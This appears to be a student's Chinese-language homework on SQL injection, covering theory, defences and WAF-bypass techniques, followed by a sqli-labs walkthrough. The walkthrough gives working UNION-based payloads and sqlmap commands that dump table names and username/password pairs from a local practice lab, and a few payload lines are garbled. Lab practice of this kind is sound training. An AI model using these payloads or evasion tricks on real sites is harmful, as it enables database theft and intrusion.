第五天作业
1.SQL注入
SQL注入(SQL Injection)是一种网络攻击技术,攻击者通过在输入字段中注入恶意的SQL代码,使得应用程序执行非预期的SQL查询,进而绕过身份验证、读取、修改甚至删除数据库中的数据。SQL注入是由不安全的SQL查询引起的,通常是因为应用程序直接将用户输入拼接到SQL查询中,而没有对输入进行充分的验证和过滤。
1.1SQL注入原理
在许多应用程序中,用户的输入(如表单数据、URL参数等)被直接拼接到SQL查询语句中。如果应用程序没有对用户输入进行适当的过滤或转义,那么攻击者可以通过构造特殊的输入来改变SQL查询的结构。
基于布尔型的SQL注入:通过改变SQL查询的布尔逻辑,使查询结果的返回值发生变化,攻击者通过观察应用程序的响应(如错误信息、页面内容等)来判断注入是否成功。
基于时间的SQL注入:攻击者通过使用SLEEP()等SQL函数,使数据库在执行注入语句时延迟响应,从而判断注入是否成功。
错误型SQL注入:利用数据库返回的错误信息来推断数据库的结构或数据。例如,使用UNION查询来将多个查询的结果合并在一起。
联合查询SQL注入:通过使用UNION关键字,攻击者可以将恶意的SQL查询结果与合法查询结果合并,从而获取数据库中的敏感数据。
1.2SQL注入常用函数及含义
- system_user() :返回当前连接数据库的系统用户名。
- user() :返回当前连接数据库的用户名。
- current_user() :返回当前登录的MySQL数据库用户。
- session_user() :返回链接数据库的用户名。
- database() :返回当前使用的数据库名称。
- length() :返回字符串的长度。
- mid() :从指定字段中提取子字符串。
- updatexml() :用于更新XML数据,常用于盲注。
- extractvalue() :用于从XML数据中提取特定值,常用于盲注。
- floor() :返回向下取整的结果,常用于报错注入。
- group_concat() :用于将多个记录的结果连接成一个字符串,常用于查询所有表名或列名
1.3SQL注入常用防御手段
-
输入验证
输入验证是防止SQL注入攻击的首要技术,它可以确保Web应用程序中的输入符合预期的格式和类型。输入验证可以检查用户输入是否包含非法字符,如单引号、分号、反斜杠等,如果包含这些字符,则应用程序应该拒绝该输入。
例如,假设我们有一个名为 input_username 的输入字段,我们可以通过以下方式对其进行验证:检查输入是否为空
检查输入是否包含非法字符
如果输入包含非法字符,则应用程序应该拒绝该输入,并向用户显示错误消息。 -
参数化查询
参数化查询是一种使用参数化语句来执行SQL查询的技术,它可以防止SQL注入攻击。参数化查询可以确保用户输入被视为参数,而不是SQL代码的一部分。参数化查询可以通过将用户输入作为参数传递给预定义的SQL查询来执行。
例如,假设我们有一个名为 input_username 的输入字段,我们可以通过以下方式使用参数化查询:将用户输入作为参数传递给预定义的SQL查询
以下是一个使用参数化查询的示例:
SELECT * FROM users WHERE username = ? AND password = ?
在这个查询中,? 是一个占位符,它将由用户输入的值替换。这种方法可以防止SQL注入攻击,因为用户输入被视为参数,而不是SQL代码的一部分。 -
最小权限原则
最小权限原则是一种限制用户访问数据库的技术,它可以防止SQL注入攻击。最小权限原则可以确保用户只能访问他们需要的数据,而不是整个数据库。
例如,假设我们有一个名为 users 的数据库,该数据库包含用户的敏感信息。我们可以通过以下方式应用最小权限原则:创建一个只能访问 users 表的数据库用户
限制该用户的访问权限,使其只能访问需要的数据
这种方法可以防止SQL注入攻击,因为攻击者无法访问他们没有权限访问的数据。 -
输入过滤
输入过滤是一种过滤用户输入的技术,它可以防止包含恶意代码的输入进入Web应用程序。输入过滤可以通过移除或替换非法字符来过滤用户输入,以确保输入符合预期的格式和类型。
例如,假设我们有一个名为 input_username 的输入字段,我们可以通过以下方式过滤输入:移除或替换非法字符
以下是一个过滤输入的示例:
input_username = input_username.replace()
在这个示例中,我们使用 replace() 函数将单引号替换为两个单引号,以确保输入不包含非法字符。 -
安全编码实践
安全编码实践是一种编写安全Web应用程序的技术,它可以防止SQL注入攻击。安全编码实践可以确保Web应用程序的代码是安全的。
1.4SQL注入常用绕过waf方法
- 编码伪装:利用特殊的字符编码方式,将恶意SQL语句转化为WAF规则无法匹配的形式。
- 转义字符伪装:在注入语句中使用转义字符来绕过防火墙。
- 随机数混淆:在注入语句中加入随机数来绕过防火墙。
- 大小写伪装:通过大小写混合来伪装,比如:UnIon SeleCt。
- 双写伪装:在注入语句中将关键字双写,例如将SELECT写成SSELECT,将UNION写成UUNION。
- 内联注释伪装:在注入语句中嵌入内联注释,将恶意SQL代码隐藏在注释中,使之不会被防火墙检测到。
- 其他方法:使用特殊字符、超大数据包、协议层面、规则缺陷/特性等方法来绕过WAF。
2.SQL注入靶场练习
使用sqli-labs靶场进行练习。
2.1第一关
首先进入第一关,观察标题发现是基于报错的sql注入,且页面提示输入参数id
输入id=1后得到回显为正常用户的信息
尝试输入id=1‘,此时发现页面出现报错提醒,此时可以确定参数处存在sql注入漏洞。
尝试注释掉后面的sql语句,令id=1’ --+,页面显示正常
使用order by加数字去猜测字段数。
输入id=1’ order by 3 --+时,返回页面正常
输入id=1’ order by 4 --+时,页面报错
使用联合查询union select来查看name 和 password 对应显示在哪个字段。
令id=-1’union select 1,2,3–+
可以看到回显字段为2和3,于是只要在2,3字段写入构造的sql语句,即可回显出我们想要的数据。修改id的值为以下:
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
其中group_concat() :用于将多个记录的结果连接成一个字符串,常用于查询所有表名或列名。
再查询列名,令id为
id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
最后查看字段内的内容,令id为:
id=-1' union select 1,2,group_concat(username , password) from users--+
即获得了数据库中所有的用户名和其对应的密码。
2.2第二关
先在id后加上单引号,显示报错
在参数id后加上and 1=1 页面正常
再修改id值 and 1=2 页面不正常,此时可以说明该处存在sql注入漏洞,成功执行了payload
此后的步骤就和第一关相同,先判断字段数,再通过回显点去获取表名、列名、字段内容等信息。
//判断字段数
id=1 order by 3--+ # 正常
id=1 order by 4--+ # 页面显示错误
//查询表名
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()--+
//查询列名
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+
//查询数据内容
id=-1 union select 1,group_concat(username),group_concat(password) from users --+
2.3第三关
令参数id=1‘,页面显示报错
通过报错信息可知,既需要闭合单引号也需要闭合括号。
令id=2’)–+,此时页面显示正常。
此后步骤与前两关相同,只需要修改参数id前面部分内容为-1’)–+即可。
2.4第四关
令参数id=1“,页面显示报错
通过报错信息可知,既需要闭合双引号也需要闭合括号。
令参数id=1”)–+,此时页面显示正常
此后步骤与前面相同,只需要修改参数id前面部分内容为-1“)–+即可。
2.5第五关
首先用单引号进行测试,页面返回报错信息
尝试注释掉后面的sql语句,经过多次修改id的值后发现页面没有回显点。
查看源代码,发现当数据正确时不会有输出,但是当数据有错误时会报错。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
于是判断这里要根据是否报错来进行盲注,此处可借助sqlmap进行盲注。
3.SQLi的手工注入步骤
3.1判断是否存在注入点
常根据以下判断
1、登录
2、注册
3、留⾔
4、验证⽤户身份所属
5、查询某⽇xx信息
6、订单操作
3.2判断字段数量
在注⼊点后⾯添加语句【 order by int】,int的值可以是任意数字,但是⼀个数据表的字段数量通常不超过10,若传的int值⼩于等于字段数量则正常回显,若⼤于字段数量,则⽆法正常回显。
3.3判断字段前端回显位置
在链接后⾯添加语句【 union select 1,2,3,4,5,6,7,8,9,10,#】进⾏联合查询来暴露可查询的字段号,看哪些字段是可以返回给我们前端进⾏渲染的,不进⾏返回的字段我们⽆法利⽤
3.4判断数据库信息
利⽤内置函数暴数据库信息
version() – 版本;
database() – 数据库;
user() – ⽤户;
不⽤猜解可⽤字段暴数据库信息(有些⽹站不适⽤)
and 1=2 union all select version() and 1=2
union all select database() and 1=2
union all select user()
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user
数据库权限:
and ord(mid(user(),1,1))=114 – 返回正常说明为root
3.5查找数据库名
Mysql 5 以上有内置库 information_schema
存储着mysql的所有数据库和表结构信息 union select information_schema from info
rmation_schema.schemata
3.6查找数据库表名
union select group_concat(table_name) from information_schema.tables where table_schema=database()--+
3.7查找列名
-1' union select 1,(select group_concat(column_name) from information_schem a.columns where table_name='biaoming'),3,4#
3.8查数据
-1' union select 1,(select columnsname from tablename),3,4#
4.使用sqlmap通过sqli-labs第六关
打开命令行,进入sqlmap目录下,输入以下命令,使用sqlmap进行扫描。
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-6/?id=1" --batch
可以看到可以进行布尔盲注、报错注入、时间盲注。
输入以下命令获取数据库名:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-6/?id=1" --current-db
得到数据库名称为security,接下来获取表名。
输入以下命令获取表名:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security --tables
可见成功获取了表名,接下来获取列名。
输入以下命令获取列名:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security -T users --columns
可见成功获取了列名,接下来获取数据
输入以下命令获取数据:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security -T users -C id,password,username --dump